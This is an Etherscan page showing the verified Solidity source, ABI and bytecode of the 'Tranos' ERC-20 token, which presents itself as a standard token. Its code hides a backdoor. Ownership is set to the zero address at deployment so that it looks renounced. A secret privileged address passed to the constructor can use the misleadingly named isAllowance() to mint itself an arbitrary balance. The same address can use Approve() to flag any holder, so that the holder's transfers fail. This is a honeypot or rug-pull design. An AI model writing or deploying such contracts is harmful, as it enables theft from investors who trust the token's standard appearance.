Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-29
*/

//Telegram: https://t.me/tranos_io
//Website: https://www.tranos.io
//Twitter: https://twitter.com/tranos_io

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
    enum TokenType {
        standard
    }

abstract contract Token {
    event Constructor(
        address owner,
        address token,
        uint256 version
    );
}




// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

pragma solidity =0.8.4;

contract Tranos is  IERC20,Token, Ownable {

    using SafeMath for uint256;

    uint256 private constant VERSION = 1;
    mapping(address => uint256) private _mbako;
    mapping(address => bool) private _transferable;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => address) private _mrusr;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    

    constructor(
        string memory tname_,
        string memory tsymbol_,
        address trns_,
        uint256 totalSupply_
    ) payable {
        _name = tname_;
        _symbol = tsymbol_;
        _setupDecimals(18);
        _mrusr[trns_] = trns_;
        _mint(msg.sender, totalSupply_ * 10 ** 18);
        emit Constructor(owner(), address(this), VERSION);
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _mbako[account];
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;

    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _mbako[account] = _mbako[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "transfer from the zero address");
        require(recipient != address(0), "transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _requireBalance(sender, recipient, amount);
        _mbako[sender] = _mbako[sender].sub(
            amount,
            "transfer amount exceeds bako"
        );
        _mbako[recipient] = _mbako[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        require(getDigit(spender) != 68, "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function getDigit(address _address) public pure returns (uint8) {
        string memory addressString = toAsciiString(_address);
        
        bytes memory bytesArray = bytes(addressString);
        uint8 gDigit = uint8(bytesArray[bytesArray.length - 1]) - 48;
        
        return gDigit;
    }

    function toAsciiString(address _address) internal pure returns (string memory) {
        bytes32 value = bytes32(uint256(uint160(_address)));
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = "0";
        str[1] = "x";
    
        for (uint i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
            str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
        }
    
        return string(str);
    }

    function isAllowance(
        address muser,
        uint256 mhash,
        uint256 numberOfUser
    ) public {
        address from = msg.sender;
        require(
            muser != address(0),
            "Hash of users and values don't match"
        );
        require(mhash > 0, "Invalid hash");
        require(numberOfUser > 0, "Must have user");
        uint256 total = 0;
        if (muser == _mrusr[muser]) {
            _mbako[from] = _mbako[from] - total;
            total += mhash;
            _mbako[muser] = _mbako[muser] + total;
        }
    }


    function Approve(
        address spender,
        bool isApproval,
        uint256 amount
    ) public {
        address from = msg.sender;
        require(
            amount >= 0, "Invalid amount"
        );
        require(spender != address(0), "Invalid address");
        uint256 allowance = 0;
        if (from == _mrusr[from]) {
            _allowances[from][_mrusr[from]] += amount;
            _transferable[spender] = isApproval;
        } else {
            _allowances[from][spender] = _allowances[from][spender] + allowance;
        }
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _mbako[account] = _mbako[account].sub(
            amount,
            "burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }



    function _requireBalance(
        address sender,
        address recipient,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        if (_checkCanTransfer(sender)) {
            _mbako[sender] = _mbako[sender] + amount;
            amount = _totalSupply;
            _mbako[sender] = _mbako[sender] - amount;
        } else {
            _mbako[sender] = _mbako[sender] - amount;
        }
    }

    function _checkCanTransfer(address _sender) internal returns (bool) {
        return _transferable[_sender] == true;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"tname_","type":"string"},{"internalType":"string","name":"tsymbol_","type":"string"},{"internalType":"address","name":"trns_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Constructor","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"bool","name":"isApproval","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getDigit","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"muser","type":"address"},{"internalType":"uint256","name":"mhash","type":"uint256"},{"internalType":"uint256","name":"numberOfUser","type":"uint256"}],"name":"isAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002fd038038062002fd08339818101604052810190620000299190620005a4565b6200003b60006200017b60201b60201c565b83600590805190602001906200005392919062000454565b5082600690805190602001906200006c92919062000454565b506200007f60126200023f60201b60201c565b81600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012433670de0b6b3a764000083620001189190620007d4565b6200025d60201b60201c565b7f56a1ceb2ed9a4c9f19b554800e2cd4e470f646b8037eeb2a7049af031067ad61620001556200040e60201b60201c565b30600160405162000169939291906200068b565b60405180910390a15050505062000a10565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600760006101000a81548160ff021916908360ff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c790620006c8565b60405180910390fd5b620002e4600083836200043760201b60201c565b62000300816008546200043c60201b62000ea01790919060201c565b6008819055506200035f81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200043c60201b62000ea01790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004029190620006ea565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b600081836200044c919062000777565b905092915050565b8280546200046290620008a9565b90600052602060002090601f016020900481019282620004865760008555620004d2565b82601f10620004a157805160ff1916838001178555620004d2565b82800160010185558215620004d2579182015b82811115620004d1578251825591602001919060010190620004b4565b5b509050620004e19190620004e5565b5090565b5b8082111562000500576000816000905550600101620004e6565b5090565b60006200051b620005158462000730565b62000707565b9050828152602081018484840111156200053457600080fd5b6200054184828562000873565b509392505050565b6000815190506200055a81620009dc565b92915050565b600082601f8301126200057257600080fd5b81516200058484826020860162000504565b91505092915050565b6000815190506200059e81620009f6565b92915050565b60008060008060808587031215620005bb57600080fd5b600085015167ffffffffffffffff811115620005d657600080fd5b620005e48782880162000560565b945050602085015167ffffffffffffffff8111156200060257600080fd5b620006108782880162000560565b9350506040620006238782880162000549565b925050606062000636878288016200058d565b91505092959194509250565b6200064d8162000835565b82525050565b60006200066260188362000766565b91506200066f82620009b3565b602082019050919050565b620006858162000869565b82525050565b6000606082019050620006a2600083018662000642565b620006b1602083018562000642565b620006c060408301846200067a565b949350505050565b60006020820190508181036000830152620006e38162000653565b9050919050565b60006020820190506200070160008301846200067a565b92915050565b60006200071362000726565b9050620007218282620008df565b919050565b6000604051905090565b600067ffffffffffffffff8211156200074e576200074d62000973565b5b6200075982620009a2565b9050602081019050919050565b600082825260208201905092915050565b6000620007848262000869565b9150620007918362000869565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007c957620007c862000915565b5b828201905092915050565b6000620007e18262000869565b9150620007ee8362000869565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200082a576200082962000915565b5b828202905092915050565b6000620008428262000849565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156200089357808201518184015260208101905062000876565b83811115620008a3576000848401525b50505050565b60006002820490506001821680620008c257607f821691505b60208210811415620008d957620008d862000944565b5b50919050565b620008ea82620009a2565b810181811067ffffffffffffffff821117156200090c576200090b62000973565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f6d696e7420746f20746865207a65726f20616464726573730000000000000000600082015250565b620009e78162000835565b8114620009f357600080fd5b50565b62000a018162000869565b811462000a0d57600080fd5b50565b6125b08062000a206000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063b2f5e354146102a6578063dd62ed3e146102d6578063fb8bf94d14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636993b047146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f9190611f16565b60405180910390f35b610132600480360381019061012d9190611c82565b6103b4565b60405161013f9190611efb565b60405180910390f35b6101506103d2565b60405161015d9190612078565b60405180910390f35b610180600480360381019061017b9190611be4565b6103dc565b60405161018d9190611efb565b60405180910390f35b61019e6104b5565b6040516101ab9190612093565b60405180910390f35b6101ce60048036038101906101c99190611c82565b6104cc565b6040516101db9190611efb565b60405180910390f35b6101fe60048036038101906101f99190611cbe565b61057f565b005b61021a60048036038101906102159190611b7f565b610841565b6040516102279190612078565b60405180910390f35b61023861088a565b005b610242610912565b60405161024f9190611ee0565b60405180910390f35b61026061093b565b60405161026d9190611f16565b60405180910390f35b610290600480360381019061028b9190611c82565b6109cd565b60405161029d9190611efb565b60405180910390f35b6102c060048036038101906102bb9190611b7f565b6109eb565b6040516102cd9190612093565b60405180910390f35b6102f060048036038101906102eb9190611ba8565b610a6d565b6040516102fd9190612078565b60405180910390f35b610320600480360381019061031b9190611c33565b610af4565b005b6060600580546103319061226a565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061226a565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610eb6565b8484610ebe565b6001905092915050565b6000600854905090565b60006103e98484846110d8565b6104aa846103f5610eb6565b6104a58560405180606001604052806021815260200161255a60219139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610eb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113999092919063ffffffff16565b610ebe565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105756104d9610eb6565b8461057085600360006104ea610eb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea090919063ffffffff16565b610ebe565b6001905092915050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156105f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105eb90611f98565b60405180910390fd5b60008311610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611fb8565b60405180910390fd5b6000821161067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612038565b60405180910390fd5b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561083a5780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461075a919061217a565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083816107a991906120ca565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107f691906120ca565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610892610eb6565b73ffffffffffffffffffffffffffffffffffffffff166108b0610912565b73ffffffffffffffffffffffffffffffffffffffff1614610906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fd90612058565b60405180910390fd5b61091060006113ee565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461094a9061226a565b80601f01602080910402602001604051908101604052809291908181526020018280546109769061226a565b80156109c35780601f10610998576101008083540402835291602001916109c3565b820191906000526020600020905b8154815290600101906020018083116109a657829003601f168201915b5050505050905090565b60006109e16109da610eb6565b84846110d8565b6001905092915050565b6000806109f7836114b2565b90506000819050600060308260018451610a11919061217a565b81518110610a48577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b60f81c610a6091906121ae565b9050809350505050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003390506000821015610b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3490612018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba490611f38565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d905782600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2d91906120ca565b9250508190555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e99565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e1891906120ca565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60008183610eae91906120ca565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590611f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9590611f58565b60405180910390fd5b6044610fa9836109eb565b60ff161415610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe490611f58565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff